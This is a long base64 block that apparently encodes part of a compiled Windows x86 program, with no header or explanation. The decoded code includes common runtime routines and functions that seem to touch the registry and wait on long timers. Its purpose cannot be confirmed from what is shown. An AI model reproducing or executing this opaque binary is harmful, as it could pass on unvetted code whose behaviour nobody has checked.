dQjomOb//4PEEGoBWFvJw1ZXi3wkDGoBXmhuCUEAV+iu3f//WYXAWXQlaG0JQQBX6J3d//9Z hcBZdAIz9lZoJ15AAFfoHeD//4PEDGoBWF9ew1WL7IHsDAsAAItFFFNWV/91DDPbiRiNhfT0 //9Q6CYYAACNhfT0//9oRPBAAFDoJRgAAP91EI2F9PT//1DoFhgAAI2F9Pj//2gABAAAUI2F 9PT//1NQaAIAAIDoh+b//42F9Pj//1CNhfz+//9Q6NUXAACDxDSNhfT4//9oBAEAAFCNhfz+ //9Q/xXI0EAAvosJQQBTVugL1f//iUUUjYX0/P//U1BTjYX0+P//U1Do/xgAAIPEHDP/OV0U fitXVuix1P//OBhZWXQTUI2F9Pz//1DoqNz//1mFwFl1Bkc7fRR82jt9FHwkjYX0+P//aCMN QQBQ6Ibc//9ZhcBZdA2NhfT4//9Q6F/4//9ZU42F+P3//1NQjYX8/v//UI2F9Pj//1DoihgA AI2F+P3//1CNhfz+//9Q6BwXAACNhfz+//9Q6Hb+//+DxCBo6AMAAP8VLNFAAGoBWF9eW8nD VYvsgewIAQAAgKX4/v//AI2F+P7//2oBUOhf3P//jUX8UI2F+P7//2gIX0AAUGgCAACA6PPl //+DxBhogO42AP8VLNFAAOvBVYvsg30MAHU0g30QAHUIagX/FSzRQAD/dQjoftz//4XAWXwU g/gDfQ//dQho7DdJAOhsFgAAWVlqAVhdw/91COjT/f//hcBZdAQzwF3DM8A5RRAPlMBdw1WL 7IHsDAEAAICl9P7//wBTjYX0/v//aAQBAABQagFobQlBAOhP0///WVlQaFICQQBoAgAAgOiu 5P//jYX0/v//UOh5/f//D76F9P7//4qd9v7//1DobhkAAIPEHINl+ACIRf+KRfgEYTpF/3Q8 gKX2/v//AIiF9P7//42F9P7//1D/FczQQACD+AOInfb+//91F/91CI2F9P7//2iuYEAAUOhv 3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9 1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO //+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f// 6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA 689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61//// dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/ /4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do Q8n//zPAhfYPlMBeycNVi+yB7AAIAACApQD4//8AgKUA/P//AI2FAPj//1D/dQjoxv3//42F APz//1D/dQzot/3//42FAPz//1CNhQD4//9Q6ARlAACDxBj32BvAQMnDg+wQVVZXg0wkGP+9 ABAAAGoBVb7U8EAA/3QkKDP/iXwkIFbops///4PEEIXAD4XvAAAAV1boTtD//1k7x1mJRCQQ D46yAAAAUzPbhf+JXCQQfjNTVuj+z///WVlQV1bo9M///1lZUOhC////WYXAWXQIx0QkEAEA AABDO9981IN8JBAAdUxqAY1fATtcJBhYiUQkEH0uU1bou8///1lZUFdW6LHP//9ZWVDo//7/ /1mFwFl0BP9EJBBDO1wkFHzWi0QkEDtEJBh+CIlEJBiJfCQcRzt8JBQPjGz///+DfCQYAFt+ FYN8JBgAfA5V/3QkHFbow8///4PEDDP/agFV/3QkKFboxc7//4PEEIXAdRJVav9W6KHP//+D xAxHg/8KfNpqAVhfXl2DxBDDgewEAgAAU1VWV8dEJBABAAAAMtu+Xg5BAL0EAQAAvwEAAID/ dCQQjUQkGIgd1DJJAIgd0DFJAFZo6ChBAFDoBBYAAIPEEFVo1DJJAGoBVujYzv//WVlQjUQk IFBX6Dvg//+DxBQ4HdQySQB0J1Vo0DFJAGoCVuixzv//WVlQjUQkIFBX6BTg//+DxBQ4HdAx SQB1F/9EJBCDfCQQCX6EiB3UMkkAiB3QMUkAX15dW4HEBAIAAMNVi+y4IDAAAOhLGQAAU1ZX aAAAEADobRkAADPbWTvDiUXsdQlfXjPAW8nCBADo8O3//4XAdQ1oYOoAAP8VLNFAAOvqaADQ BwD/NdgzSQDo0/X//1lZagHoovr//+jp/v//jYWI8///aAQBAABQU/8VFNFAAI2F3P7//1Do D9j//1mJXfi+JAkAAOiU7f//hcB1Cmhg6gAA6YcDAACNhdz+//9Q6LPX//+FwFl1Wo2F3P7/ /1NQjYWI8///UP8VfNBAAI2F3P7//2ogUP8VgNBAAI2F3P7//2gAUAEAUOjb6P//U+jG4P// M9K5ACgAAPfxjYXc/v//gcIAUgEAUlDoYtn//4PEFFP/NdgzSQDok83//zlF+FlZiUXoD439 AgAAaHoiAACNheDP//9owPBAAFDowRQAAI2F4M///4id9N///1CNhdz+//9Q6K3v//9WjYWM 9P//U1Doig8AAP91+P812DNJAOgKzf//g8QoOBiJReQPhJUCAABQjYXw9P//UOjBDwAAU+gh 4P//M9KDxAz3deg7Vfh1AUI7Veh8AjPSUv812DNJAOjIzP//i/hZWTgfdRBT/zXYM0kA6LTM //9Zi/hZjYXc/v//UI2FOPr//1Dobw8AAI2FVPX//1dQ6GIPAACNhYz0//9XUOhVDwAAagGN hYz0////dexQ6P/5//+DxCSFwA+FAAIAAFaNhYz0//9TUOjLDgAAjYXc/v//UI2FOPr//1Do GA8AAI2FVPX//1dQ6AsPAACNhYz0//9XUOj+DgAA/3XkjYXw9P//UOjvDgAAagGNhYz0//// dexQ6H76//+DxDiFwHQMV+in+///WemSAQAAU2jU8EAA6B7M//+DTeD/WVmJRfSJXfBWjYWM 9P//U1DoRg4AAI2F3P7//1CNhTj6//9Q6JMOAACNhVT1//9XUOiGDgAA/3XkjYXw9P//UOh3 DgAAU+jX3v//M9KDxCj3dfQ7VeCJVfx1BEKJVfw7VfR8A4ld/P91/GjU8EAA6HbL//9QjYWM 9P//UOg7DgAAagGNhYz0////dexQ6Mr5//+DxByFwHUT/0Xwi0X8g33wBolF4A+MXP///4N9 8AYPjM0AAABTaCwOQQDoWcv//1OJRfToWN7//zPSg8QM93X0O1X0iVX8fAOJXfyNhVzy//9Q jYWw/f//UFfoM9L//42FsP3//2g08EAAUOjKDQAA/3X8aCwOQQDo28r//1CNhbD9//9Q6LAN AABWjYWM9P//U1DoMg0AAI2F3P7//1CNhTj6//9Q6H8NAACNhVT1//9XUOhyDQAAg8RAjYXw 9P///3XkUOhgDQAAjYWw/f//UI2FjPT//1DoTQ0AAGoBjYWM9P///3XsUOjc+P//g8Qc/0X4 i0X4O0XoD4wD/f//aMAnCQD/FSzRQADpW/z//1WL7IHsYAUAAGah9ChBAFZXagdmiUWgWTPA jX2i86tmq6HwKEEAjX3oiUXkM8CrZqsz/8dF4CAAAAA5PfA4SQCJffSJffgPhd8BAAA5PQg5 SQAPhNMBAACLdQg793QljUXgUI1FgFD/FWTQQACNRYBQjUYCUOhwXgAAWYXAWQ+EpwEAAI2F WP///4NN0P+JRdiNhbD+//+JRcCNhbD+//+JRciNRYBTUI1FoIl9xFCJfdSJfdzHRcx/AAAA 6GkMAABZjYUY////WWoiUGr/Vos1eNBAAGoBV//Wx0X8AgAAALtE8EAAikX8ahQEQYhF5I2F WP///1CNReRq/1BqAVf/1opF5Go0iEWgjYWw/v//UI1FoGr/UGoBV//WjUX0UI1FwFCNhRj/ //9qAlD/FQg5SQA5fQyJRfAPhN4AAAA7x3VgOX34dVtqAWjcAUEAV+gr3P//WYPgAVCNhaT7 //9Q6MXW//+Nhaj8//9TUOinCwAAjUWgUI2FqPz//1DopwsAAGoBjYWk+///V1CNhaj8//9X UP91COh6vP//g8Q4iUX4OX3wdXVqAWjCDUEAjYWg+v//V1Dob9b///91CI2FrP3//1DoTwsA AI2FrP3//1NQ6FILAACNRaBQjYWs/f//UOhCCwAAjYWs/f//U1DoNQsAAI2FoPr//1CNhaz9 //9Q6CILAABqAWr/jYWs/f//av9Q6PwDAACDxEj/RfyDffwFD4y8/v//W19eycNVi+y4nEMA AOjuEgAAjUUMV1CDTfz//3UIx0X4gD4AAGoDagFfV/91DOgpWwAAhcAPhUABAACNRfhTUI2F ZLz//1CNRfxQ/3UM6ANbAAAz2zld/IldCA+GEQEAAFaNtXi8///2RvgCjUbsdBP/dRBqAlDo if///4PEDOnbAAAAjYXs/P//UI2F8P3//1D/NujZ3v//g8QMhcAPhbsAAAD/dRCNhfD9//9Q 6CP9//9ZWVdo3AFBAFPoldr//1kjx1CNheT6//9Q6DDV//+DxBA5XRAPhIIAAABXjYXk+v// U1CNhez8//9TUI2F8P3//1Do87r//4PEGFdowg1BAFPoTdr//1kjx1CNhej7//9Q6OjU//// No2F9P7//1DoyQkAAI2F9P7//2hE8EAAUOjICQAAjYXo+///UI2F9P7//1DotQkAAFdq/42F 9P7//2r/UOiQAgAAg8Q4/0UIg8Ygi0UIO0X8D4L3/v//Xv91DOjWWQAAW1/Jw2oBWFBqAmoA 6Hr+//+DxAxoAN1tAP8VLNFAADPA6+S4hCMAAOhZEQAAU1VWV41EJBRoBAEAADPbUFP/FRTR QACLPYDQQAC+5DVJAGogVv/XU41EJBhWUP8VfNBAAGogVolEJBj/1zlcJBB0Vmh6IgAAjYQk HAEAAGjA8EAAUOifDQAAjYQkJAEAAIicJDgRAABQVuiP6P//aABQAQBW6ETh//9T6C/Z//8z 0rkAKAAA9/GBwgBSAQBSVujR0f//g8QoVuh85v//WWonVv/XOR3wOEkAv9wzSQB0RVZXaOA0 SQBoAgAAgOiB1///agFokwtBAOioxf//g8QYUP8V9NBAAIvoaJMMQQBV/xU40UAAO8N0BWoB U//QVf8V8NBAADlcJBB1BDPA63U5HfA4SQB0C1NW6MvY//9ZWetfOR34OEkAdVeLLQDQQABq AlNT/9VTU1NTU1ZTagJoEAEAAFNXV1CJRCRE/xVI0EAA/3QkEIs1QNBAAP/WagFTU//Vi+hq EFdV/xU40EAAi/hTU1f/FSTQQABX/9ZV/9ZqAVhfXl1bgcSEIwAAw1WL7FGh8ChBAIlF/IpF CABF/I1F/FD/FczQQACD+AN0DIP4BHQHagFYycIEAGoAjUX8aHpcQABQ6FfP//+DxAxoAHS3 Af8VLNFAAOvgVYvsgexYAgAAVr5SAkEAjYXU/v//VlDoXwcAAGoHVuiFxP//UI2F1P7//1Do WgcAAIClqP3//wCNhaj9//9oLAEAAFCNhdT+//9o8A1BAFBoAgAAgOjA1f//agCNhaj9//9o elxAAFDo2s7//4PEODPAXsnCBABVi+y4kCUAAOgHDwAAi0UQU1aLdQwz21c5XRSJdfyJRfh1 Ef91COiu1///hcBZD4U+AQAAv3QNQQBTV+gixP//WTvzWYlFDH0PU+gb1///M9JZ93UMiVX8 vtwBQQBTVuj+w///OV0QWVmJRQx9D1Po9tb//zPSWfd1DIlV+I2F9P7//1Dows3//42F7Pz/ /8cEJAQBAABQU/8VFNFAAI2F9P7//1NQjYXs/P//UP8VfNBAAIXAD4S3AAAAjYX0/v//aiBQ /xWA0EAAaHoiAACNhXDa//9owPBAAFDo1AoAAI2FcNr//4idhOr//1CNhfT+//9Q6MDl//9T 6GvW//8z0rkAKAAA9/GNhfT+//+BwgBSAQBSUOgHz////3X8V+gOw///UI2F8P3//1Do0wUA AP91+Fbo+ML//1CNhfD9//9Q6M0FAACDxECNhfD9////dRRQjYX0/v//UP91COh34P//jYX0 /v//UOhKzf//g8QUX15bycNq//8VLNFAAOv2VYvsgewgAgAAagRqBY1F6GoCUOhKxf//gKXg /f//AIPEEI2F4P3//2gEAQAAUGoBaG0JQQDod8L//1lZUGhSAkEAaAIAAIDo1tP//4PEFI2F 5P7//1CNRehqAFCNheD9//9Q/xV00EAAjYXk/v//UOjDzP//jYXk/v//UOjyBQAAWVlIeAqA vAXk/v//LnXzhcB+FI2EBeT+//9o3AFBAFDo3QQAAFlZjUX8VlBophUAAGhAE0EA6OMCAAD/ dfyL8I2F5P7//1ZQ6CvL//+DxBiFwHUfjYXk/v//UOjpy////3X8jYXk/v//VlDoCMv//4PE EI2F5P7//2oAUOgT1f//WVlehcB0Fmr/UP8VwNBAAI2F5P7//1DoGsz//1kzwMnCBABVi+xR U1aLNdDQQABXjUX8M/9QV1do/xVAAFdX/9aNRfxQV1doCGZAAFdX/9aNRfxQV1do3m1AAFdX /9aNRfxQV1doZmBAAFdX/9aNRfxQV1dozXFAAFdX/9aNRfxQV1do1W9AAFdX/9Yz241F/FBX U2iIb0AAV1f/1kOD+xp86+hM/v//X15bycNVi+yD7BwzwMdF5BABAACJReyJRfCJRfSJRfiJ RfyNReRQx0XoBAAAAP81HDlJAP8VWNBAAOiT2P//hcB0Begz////ycIEAGh8c0AAaNwzSQD/ FTTQQABqAKMcOUkA6J3////CCABVi+yB7KABAACNhWD+//9QagL/FeDRQADo/+H//4XAdFTo 9fn//4A91ABBAAB0D2jUAEEA6PTm//+FwFl1N4M9+DhJAAB0IINl+ACDZfwAjUXwx0Xw3DNJ AFDHRfTDc0AA/xUE0EAA6PvX//+FwHQF6Jv+//8zwMnCEABVi+y4jDgBAOj2CgAAU1b/dQzo GwsAAIvYM/Y73lmJXfSJdfiJdfx1BzPA6dsAAABXaIA4AQCNhXTH/v9WUOhQAgAAg8QMM8CN vXjH/v87RQxzZotNCIoMCITJdA2IDB5GQIl1/DtFDHLpO0UMc0qLyItVCIA8EQB1BkE7TQxy 8YvRK9CD+gpzETvBc8GLVQiKFBCIFB5GQOvvgX34ECcAAHMP/0X4iUf8iReDxwiLweuciXX8 M/brSItF+Il1/Iv4wecDjVw3BFPoZAoAAIvwi0X4V4kGjYV0x/7/UI1GBFDovQYAAP91/I1E NwT/dfRQ6K0GAACLRRCDxByJGItd9FPohwYAAFmLxl9eW8nDVYvsg+wMU4tdCFZXiwMz0ov4 jUsEwecDiVX8iU30jXcEiUX4OXUMcwczwOmcAAAAhcB2I4vxiUUIiw470XMHK8oD0QFN/ItG BIXAdgID0IPGCP9NCHXii0UMK8eDwPw5RfyJRQxzBStF/APQi0UQM/YhdfxSiRDopwkAAI18 HwSLXfiF21l2LotN9Dsxcw+LVfyKFDqIFDBG/0X86+0z0jlRBHYLgCQwAEZCO1EEcvWDwQhL ddWLTfw7TQxzDgPwihQ5iBZGQTtNDHL0X15bycPM/yUc0UAA/yUM0UAA/yUQ0UAA/yUA0UAA zMzMzMzMzMzMzItUJASLTCQI98IDAAAAdTyLAjoBdS4KwHQmOmEBdSUK5HQdwegQOkECdRkK wHQROmEDdRCDwQSDwgQK5HXSi/8zwMOQG8DR4EDDi//3wgEAAAB0FIoCQjoBdelBCsB04PfC AgAAAHSoZosCg8ICOgF10grAdMo6YQF1yQrkdMGDwQLrjMzMzMzMzMzMzMzMzItUJAyLTCQE hdJ0RzPAikQkCFeL+YP6BHIt99mD4QN0CCvRiAdHSXX6i8jB4AgDwYvIweAQA8GLyoPiA8Hp AnQG86uF0nQGiAdHSnX6i0QkCF/Di0QkBMPMzMzMzMzMzFeLfCQI62qNpCQAAAAAi/+LTCQE V/fBAwAAAHQPigFBhMB0O/fBAwAAAHXxiwG6//7+fgPQg/D/M8KDwQSpAAEBgXToi0H8hMB0 I4TkdBqpAAD/AHQOqQAAAP90AuvNjXn/6w2Nef7rCI15/esDjXn8i0wkDPfBAwAAAHQZihFB hNJ0ZIgXR/fBAwAAAHXu6wWJF4PHBLr//v5+iwED0IPw/zPCixGDwQSpAAEBgXThhNJ0NIT2 dCf3wgAA/wB0EvfCAAAA/3QC68eJF4tEJAhfw2aJF4tEJAjGRwIAX8NmiReLRCQIX8OIF4tE JAhfw4tMJAT3wQMAAAB0FIoBQYTAdED3wQMAAAB18QUAAAAAiwG6//7+fgPQg/D/M8KDwQSp AAEBgXToi0H8hMB0MoTkdCSpAAD/AHQTqQAAAP90AuvNjUH/i0wkBCvBw41B/otMJAQrwcON Qf2LTCQEK8HDjUH8i0wkBCvBw1WL7FGDZfwAU4tdCFZXU+hx////g/gBWXIhgHsBOnUbi3UM hfZ0EGoCU1bojBAAAIPEDIBmAgBDQ+sKi0UMhcB0A4AgAINlDACAOwCLw77/AAAAiUUIdGWK CA+20faCYU1JAAR0A0DrGoD5L3QPgPlcdAqA+S51C4lF/OsGjUgBiU0MQIA4AHXPi30MiUUI hf90KoN9EAB0Hyv7O/5yAov+V1P/dRDoERAAAItFEIPEDIAkBwCLRQiLXQzrCotNEIXJdAOA IQCLffyF/3RMO/tySIN9FAB0Hyv7O/5yAov+V1P/dRTo0g8AAItFFIPEDIAkBwCLRQiLfRiF /3REK0X8O8ZzAovwVv91/Ffoqw8AAIPEDIAkPgDrKIt9FIX/dBcrwzvGcwKL8FZTV+iLDwAA g8QMgCQ+AItFGIXAdAOAIABfXlvJw1WL7FGDPTw5SQAAU3Udi0UIg/hhD4yvAAAAg/h6D4+m AAAAg+gg6Z4AAACLXQiB+wABAAB9KIM9HCxBAAF+DGoCU+gHEgAAWVnrC6EQKkEAigRYg+AC hcB1BIvD62uLFRAqQQCLw8H4CA+2yPZESgGAdA6AZQoAiEUIiF0JagLrCYBlCQCIXQhqAViN TfxqAWoAagNRUI1FCFBoAAIAAP81PDlJAOhVDwAAg8QghcB0qYP4AXUGD7ZF/OsND7ZF/Q+2 TfzB4AgLwVvJw1WL7FGDPTw5SQAAU1ZXdR2LRQiD+EEPjKoAAACD+FoPj6EAAACDwCDpmQAA AItdCL8AAQAAagE73159JTk1HCxBAH4LVlPoNxEAAFlZ6wqhECpBAIoEWCPGhcB1BIvD62WL FRAqQQCLw8H4CA+2yPZESgGAdA+AZQoAagKIRQiIXQlY6wmAZQkAiF0Ii8ZWagCNTfxqA1FQ jUUIUFf/NTw5SQDoiw4AAIPEIIXAdK47xnUGD7ZF/OsND7ZF/Q+2TfzB4AgLwV9eW8nDVYvs g+wgi0UIVolF6IlF4I1FEMdF7EIAAABQjUXg/3UMx0Xk////f1DoExIAAIPEDP9N5IvweAiL ReCAIADrDY1F4FBqAOjhEAAAWVmLxl7Jw/90JATo8BkAAFnDzMzMzMzMzMzMzFWL7FdWi3UM i00Qi30Ii8GL0QPGO/52CDv4D4J4AQAA98cDAAAAdRTB6QKD4gOD+QhyKfOl/ySVSH1AAIvH ugMAAACD6QRyDIPgAwPI/ySFYHxAAP8kjVh9QACQ/ySN3HxAAJBwfEAAnHxAAMB8QAAj0YoG iAeKRgGIRwGKRgLB6QKIRwKDxgODxwOD+QhyzPOl/ySVSH1AAI1JACPRigaIB4pGAcHpAohH AYPGAoPHAoP5CHKm86X/JJVIfUAAkCPRigaIB0bB6QJHg/kIcozzpf8klUh9QACNSQA/fUAA LH1AACR9QAAcfUAAFH1AAAx9QAAEfUAA/HxAAItEjuSJRI/ki0SO6IlEj+iLRI7siUSP7ItE jvCJRI/wi0SO9IlEj/SLRI74iUSP+ItEjvyJRI/8jQSNAAAAAAPwA/j/JJVIfUAAi/9YfUAA YH1AAGx9QACAfUAAi0UIXl/Jw5CKBogHi0UIXl/Jw5CKBogHikYBiEcBi0UIXl/Jw41JAIoG iAeKRgGIRwGKRgKIRwKLRQheX8nDkI10MfyNfDn898cDAAAAdSTB6QKD4gOD+QhyDf3zpfz/ JJXgfkAAi//32f8kjZB+QACNSQCLx7oDAAAAg/kEcgyD4AMryP8kheh9QAD/JI3gfkAAkPh9 QAAYfkAAQH5AAIpGAyPRiEcDTsHpAk+D+Qhytv3zpfz/JJXgfkAAjUkAikYDI9GIRwOKRgLB 6QKIRwKD7gKD7wKD+QhyjP3zpfz/JJXgfkAAkIpGAyPRiEcDikYCiEcCikYBwekCiEcBg+4D g+8Dg/kID4Ja/////fOl/P8kleB+QACNSQCUfkAAnH5AAKR+QACsfkAAtH5AALx+QADEfkAA 135AAItEjhyJRI8ci0SOGIlEjxiLRI4UiUSPFItEjhCJRI8Qi0SODIlEjwyLRI4IiUSPCItE jgSJRI8EjQSNAAAAAAPwA/j/JJXgfkAAi//wfkAA+H5AAAh/QAAcf0AAi0UIXl/Jw5CKRgOI RwOLRQheX8nDjUkAikYDiEcDikYCiEcCi0UIXl/Jw5CKRgOIRwOKRgKIRwKKRgGIRwGLRQhe X8nDi0QkBKMAKUEAw6EAKUEAacD9QwMABcOeJgCjAClBAMH4ECX/fwAAw8zMzFE9ABAAAI1M JAhyFIHpABAAAC0AEAAAhQE9ABAAAHPsK8iLxIUBi+GLCItABFDDagH/dCQI6IsWAABZWcNV i+yD7CCLRQjHRexJAAAAUIlF6IlF4OiH+P//iUXkjUUQUI1F4P91DFDouxYAAIPEEMnDzMzM zMzMzMzMzMzMzMzMVYvsV1aLdQyLTRCLfQiLwYvRA8Y7/nYIO/gPgngBAAD3xwMAAAB1FMHp AoPiA4P5CHIp86X/JJUogUAAi8e6AwAAAIPpBHIMg+ADA8j/JIVAgEAA/ySNOIFAAJD/JI28 gEAAkFCAQAB8gEAAoIBAACPRigaIB4pGAYhHAYpGAsHpAohHAoPGA4PHA4P5CHLM86X/JJUo gUAAjUkAI9GKBogHikYBwekCiEcBg8YCg8cCg/kIcqbzpf8klSiBQACQI9GKBogHRsHpAkeD +QhyjPOl/ySVKIFAAI1JAB+BQAAMgUAABIFAAPyAQAD0gEAA7IBAAOSAQADcgEAAi0SO5IlE j+SLRI7oiUSP6ItEjuyJRI/si0SO8IlEj/CLRI70iUSP9ItEjviJRI/4i0SO/IlEj/yNBI0A AAAAA/AD+P8klSiBQACL/ziBQABAgUAATIFAAGCBQACLRQheX8nDkIoGiAeLRQheX8nDkIoG iAeKRgGIRwGLRQheX8nDjUkAigaIB4pGAYhHAYpGAohHAotFCF5fycOQjXQx/I18Ofz3xwMA AAB1JMHpAoPiA4P5CHIN/fOl/P8klcCCQACL//fZ/ySNcIJAAI1JAIvHugMAAACD+QRyDIPg AyvI/ySFyIFAAP8kjcCCQACQ2IFAAPiBQAAggkAAikYDI9GIRwNOwekCT4P5CHK2/fOl/P8k lcCCQACNSQCKRgMj0YhHA4pGAsHpAohHAoPuAoPvAoP5CHKM/fOl/P8klcCCQACQikYDI9GI RwOKRgKIRwKKRgHB6QKIRwGD7gOD7wOD+QgPglr////986X8/ySVwIJAAI1JAHSCQAB8gkAA hIJAAIyCQACUgkAAnIJAAKSCQAC3gkAAi0SOHIlEjxyLRI4YiUSPGItEjhSJRI8Ui0SOEIlE jxCLRI4MiUSPDItEjgiJRI8Ii0SOBIlEjwSNBI0AAAAAA/AD+P8klcCCQACL/9CCQADYgkAA 6IJAAPyCQACLRQheX8nDkIpGA4hHA4tFCF5fycONSQCKRgOIRwOKRgKIRwKLRQheX8nDkIpG A4hHA4pGAohHAopGAYhHAYtFCF5fycODPRwsQQABfhFoAwEAAP90JAjoJAkAAFlZw4tEJASL DRAqQQBmiwRBJQMBAADDgz0cLEEAAX4OagT/dCQI6PkIAABZWcOLRCQEiw0QKkEAigRBg+AE w4M9HCxBAAF+DmoI/3QkCOjRCAAAWVnDi0QkBIsNECpBAIoEQYPgCMPMzMzMzMzMzMzMzMzM i0wkCFdTVooRi3wkEITSdGmKcQGE9nRPi/eLTCQUigdGONB0FYTAdAuKBkY40HQKhMB19V5b XzPAw4oGRjjwdeuNfv+KYQKE5HQoigaDxgI44HXEikEDhMB0GIpm/4PBAjjgdN/rsTPAXltf isLpQx0AAI1H/15bX8OLx15bX8NVi+xXVlOLTRDjJovZi30Ii/czwPKu99kDy4v+i3UM86aK Rv8zyTpH/3cEdARJSffRi8FbXl/Jw1WL7Gr/aEDSQABoBKxAAGShAAAAAFBkiSUAAAAAg+xY U1ZXiWXo/xW80EAAM9KK1IkVbDlJAIvIgeH/AAAAiQ1oOUkAweEIA8qJDWQ5SQDB6BCjYDlJ ADP2VugWJgAAWYXAdQhqHOiwAAAAWYl1/OhWJAAA/xXE0EAAo2hOSQDoFCMAAKMgOUkA6L0g AADo/x8AAOgcHQAAiXXQjUWkUP8VeNFAAOiQHwAAiUWc9kXQAXQGD7dF1OsDagpYUP91nFZW /xV00UAAUOi87v//iUWgUOgKHQAAi0XsiwiLCYlNmFBR6M4dAABZWcOLZej/dZjo/BwAAIM9 KDlJAAF1BeiAJwAA/3QkBOiwJwAAaP8AAAD/FRApQQBZWcODPSg5SQABdQXoWycAAP90JATo iycAAFlo/wAAAP8VfNFAAMNVi+yD7BhTVlf/dQjoiAEAAIvwWTs1OExJAIl1CA+EagEAADPb O/MPhFYBAAAz0rggKUEAOTB0coPAMEI9ECpBAHzxjUXoUFb/FYDRQACD+AEPhSQBAABqQDPA Wb9gTUkAg33oAYk1OExJAPOrqokdZE5JAA+G7wAAAIB97gAPhLsAAACNTe+KEYTSD4SuAAAA D7ZB/w+20jvCD4eTAAAAgIhhTUkABEDr7mpAM8BZv2BNSQDzq400Uold/MHmBKqNnjApQQCA OwCLy3QsilEBhNJ0JQ+2AQ+2+jvHdxSLVfyKkhgpQQAIkGFNSQBAO8d29UFBgDkAddT/RfyD wwiDffwEcsGLRQjHBUxMSQABAAAAUKM4TEkA6MYAAACNtiQpQQC/QExJAKWlWaNkTkkApetV QUGAef8AD4VI////agFYgIhhTUkACEA9/wAAAHLxVuiMAAAAWaNkTkkAxwVMTEkAAQAAAOsG iR1MTEkAM8C/QExJAKurq+sNOR0sOUkAdA7ojgAAAOiyAAAAM8DrA4PI/19eW8nDi0QkBIMl LDlJAACD+P51EMcFLDlJAAEAAAD/JYjRQACD+P11EMcFLDlJAAEAAAD/JYTRQACD+Px1D6FM OUkAxwUsOUkAAQAAAMOLRCQELaQDAAB0IoPoBHQXg+gNdAxIdAMzwMO4BAQAAMO4EgQAAMO4 BAgAAMO4EQQAAMNXakBZM8C/YE1JAPOrqjPAv0BMSQCjOExJAKNMTEkAo2ROSQCrq6tfw1WL 7IHsFAUAAI1F7FZQ/zU4TEkA/xWA0UAAg/gBD4UWAQAAM8C+AAEAAIiEBez+//9AO8Zy9IpF 8saF7P7//yCEwHQ3U1eNVfMPtgoPtsA7wXcdK8iNvAXs/v//QbggICAgi9nB6QLzq4vLg+ED 86pCQopC/4TAddBfW2oAjYXs+v///zVkTkkA/zU4TEkAUI2F7P7//1ZQagHo8yUAAGoAjYXs /f///zU4TEkAVlCNhez+//9WUFb/NWROSQDoaAEAAGoAjYXs/P///zU4TEkAVlCNhez+//9W UGgAAgAA/zVkTkkA6EABAACDxFwzwI2N7Pr//2aLEfbCAXQWgIhhTUkAEIqUBez9//+IkGBM SQDrHPbCAnQQgIhhTUkAIIqUBez8///r44CgYExJAABAQUE7xnK/60kzwL4AAQAAg/hBchmD +Fp3FICIYU1JABCKyIDBIIiIYExJAOsfg/hhchOD+Hp3DoCIYU1JACCKyIDpIOvggKBgTEkA AEA7xnK+XsnDgz0oTEkAAHUSav3oLPz//1nHBShMSQABAAAAw1WL7IM9TExJAABXi30IiX0I dRH/dRD/dQxX6ComAACDxAzrY4tVEFaF0nQ9i00MigFKD7bw9oZhTUkABIgHdBNHQYXSdBmK AUqIB0dBhMB0FOsGR0GEwHQQhdJ10usKgGf/AOsEgGf+AIvCSoXAXnQTjUoBM8CL0cHpAvOr i8qD4QPzqotFCF9dw1WL7Gr/aFjSQABoBKxAAGShAAAAAFBkiSUAAAAAg+wcU1ZXiWXoM/85 PTA5SQB1RldXagFbU2hQ0kAAvgABAABWV/8VPNFAAIXAdAiJHTA5SQDrIldXU2hM0kAAVlf/ FUDRQACFwA+EIgEAAMcFMDlJAAIAAAA5fRR+EP91FP91EOieAQAAWVmJRRShMDlJAIP4AnUd /3Uc/3UY/3UU/3UQ/3UM/3UI/xVA0UAA6d4AAACD+AEPhdMAAAA5fSB1CKFMOUkAiUUgV1f/ dRT/dRCLRST32BvAg+AIQFD/dSD/FXjQQACL2Ild5DvfD4ScAAAAiX38jQQbg8ADJPzoXfT/ /4ll6IvEiUXcg038/+sTagFYw4tl6DP/iX3cg038/4td5Dl93HRmU/913P91FP91EGoB/3Ug /xV40EAAhcB0TVdXU/913P91DP91CP8VPNFAAIvwiXXYO/d0MvZFDQR0QDl9HA+EsgAAADt1 HH8e/3Uc/3UYU/913P91DP91CP8VPNFAAIXAD4WPAAAAM8CNZciLTfBkiQ0AAAAAX15bycPH RfwBAAAAjQQ2g8ADJPzoqfP//4ll6IvciV3gg038/+sSagFYw4tl6DP/M9uDTfz/i3XYO990 tFZT/3Xk/3Xc/3UM/3UI/xU80UAAhcB0nDl9HFdXdQRXV+sG/3Uc/3UYVlNoIAIAAP91IP8V oNBAAIvwO/cPhHH///+Lxuls////i1QkCItEJASF0laNSv90DYA4AHQIQIvxSYX2dfOAOABe dQUrRCQEw4vCw1WL7FGLRQiNSAGB+QABAAB3DIsNECpBAA+3BEHrUovIVos1ECpBAMH5CA+2 0fZEVgGAXnQOgGX+AIhN/IhF/WoC6wmAZf0AiEX8agFYjU0KagFqAGoAUVCNRfxQagHotSEA AIPEHIXAdQLJww+3RQojRQzJw1WL7FNWi3UMi0YMi14QqIIPhPMAAACoQA+F6wAAAKgBdBaD ZgQAqBAPhNsAAACLTggk/okOiUYMi0YMg2YEAINlDAAk7wwCZqkMAYlGDHUigf6gLUEAdAiB /sAtQQB1C1PoHiYAAIXAWXUHVujPJQAAWWb3RgwIAVd0ZItGCIs+K/iNSAGJDotOGEmF/4lO 